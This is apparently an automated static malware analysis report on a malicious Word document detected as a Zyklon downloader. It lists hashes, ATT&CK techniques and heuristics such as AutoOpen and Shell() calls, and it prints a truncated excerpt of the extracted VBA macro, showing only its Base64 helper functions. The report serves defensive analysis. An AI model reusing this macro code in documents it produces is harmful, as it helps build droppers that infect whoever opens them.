Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25674b2bdf843acc…

MALICIOUS

Office (OLE)

44.0 KB Created: 2017-04-11 14:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 54eac33898711205e1e17c63f9ab4e7d SHA-1: f09fbdf925a4e5c8c577faba1cc6599ad68f19ce SHA-256: 25674b2bdf843acc200fd2005a23f584ea7453b2317e072f8ed7b8d91b975dc5
302 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'SE_ENABLE_LURE' heuristic indicates the document uses a common social engineering tactic to prompt the user to enable macros. The critical 'OLE_VBA_SHELL' heuristic confirms that the VBA code executes external commands. The ClamAV detection 'Doc.Downloader.Zyklon-6261557-1' further supports its malicious nature as a downloader. The VBA macro code, though truncated, contains Base64 encoding and appears to be designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Zyklon-6261557-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Zyklon-6261557-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6085 bytes
SHA-256: 99ce565ffa21b2b379e39d4c9fda72d4e9ec1184d55f953941aec2dc30f80f0d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function B64Enc(StrToEncode As String) As String
        Static EncodeTable(0 To 63) As Byte
        
        Dim K As Long, OutStr() As Byte, StrIn() As Byte, Lng As Long
        
        If EncodeTable(0) = 0 Then
            For K = 0 To 25
                EncodeTable(K) = Asc("A") + K
            Next K
            
            For K = 0 To 25
                EncodeTable(K + 26) = Asc("a") + K
            Next K
            
            For K = 0 To 9
                EncodeTable(K + 52) = Asc("0") + K
            Next K
            
            EncodeTable(62) = Asc("+")
            EncodeTable(63) = Asc("/")
        End If
        
        If StrToEncode = "" Then Exit Function
        
        StrIn = StrConv(StrToEncode, vbFromUnicode)
        If (Len(StrToEncode) Mod 3) = 0 Then
            ReDim OutStr((Len(StrToEncode) \ 3) * 4 - 1)
        Else
            ReDim OutStr(((Len(StrToEncode) \ 3) + 1) * 4 - 1)
        End If
        
        For K = 0 To Len(StrToEncode) \ 3 - 1
            Lng = StrIn(K * 3 + 2) Or (StrIn(K * 3 + 1) * &H100&) Or (StrIn(K * 3) * &H10000)
            
            OutStr(K * 4 + 0) = EncodeTable((Lng And &HFC0000) \ &H40000)
            OutStr(K * 4 + 1) = EncodeTable((Lng And &H3F000) \ &H1000&)
            OutStr(K * 4 + 2) = EncodeTable((Lng And &HFC0&) \ &H40&)
            OutStr(K * 4 + 3) = EncodeTable(Lng And &H3F&)
        Next K
        
        If (Len(StrToEncode) Mod 3) = 1 Then
            Lng = StrIn(UBound(StrIn)) * &H10000
            
            OutStr(UBound(OutStr) - 3) = EncodeTable((Lng And &HFC0000) \ &H40000)
            OutStr(UBound(OutStr) - 2) = EncodeTable((Lng And &H3F000) \ &H1000&)
            OutStr(UBound(OutStr) - 1) = Asc("=")
            OutStr(UBound(OutStr) - 0) = Asc("=")
        ElseIf (Len(StrToEncode) Mod 3) = 2 Then
            Lng = (StrIn(UBound(StrIn)) * &H100&) Or (StrIn(UBound(StrIn) - 1) * &H10000)
            
            OutStr(UBound(OutStr) - 3) = EncodeTable((Lng And &HFC0000) \ &H40000)
            OutStr(UBound(OutStr) - 2) = EncodeTable((Lng And &H3F000) \ &H1000&)
            OutStr(UBound(OutStr) - 1) = EncodeTable((Lng And &HFC0&) \ &H40&)
            OutStr(UBound(OutStr) - 0) = Asc("=")
        End If
        
        B64Enc = StrConv(OutStr, vbUnicode)
    End Function
     
    Private Function B64Dec(StrToDecode As String, Optional CheckInvalidChars As Boolean = True) As String
        Static DecodeTable(0 To 255) As Byte
        
        Dim OutStr() As Byte, StrIn() As Byte
        Dim K As Long, Lng As Long
        
        If DecodeTable(0) = 0 Then
            For K = 0 To 255
                DecodeTable(K) = 255
            Next K
            
            For K = 0 To 25
                DecodeTable(K + 65) = K
            Next K
            
            For K = 26 To 51
                DecodeTable(K + 71) = K
            Next K
            
            For K = 52 To 61
                DecodeTable(K - 4) = K
            Next K
            
            DecodeTable(43) = 62
            DecodeTable(47) = 63
        End If
        
        If StrToDecode = "" Then Exit Function
        
        StrToDecode = Trim(StrToDecode)
        
        If CheckInvalidChars Then
            For K = 0 To 255
                If Not (Chr(K) Like "[A-Za-z0-9+/=]") Then
                    StrToDecode = Replace(StrToDecode, Chr(K), "")
                End If
            Next K
        End If
        
        StrIn() = StrConv(StrToDecode, vbFromUnicode)
        ReDim OutStr(0 To ((Len(StrToDecode) \ 4) * 3 - 1))
        
        For K = 0 To Len(StrToDecode) \ 4 - 2
            Lng = DecodeTable(StrIn(K * 4 + 3)
... (truncated)

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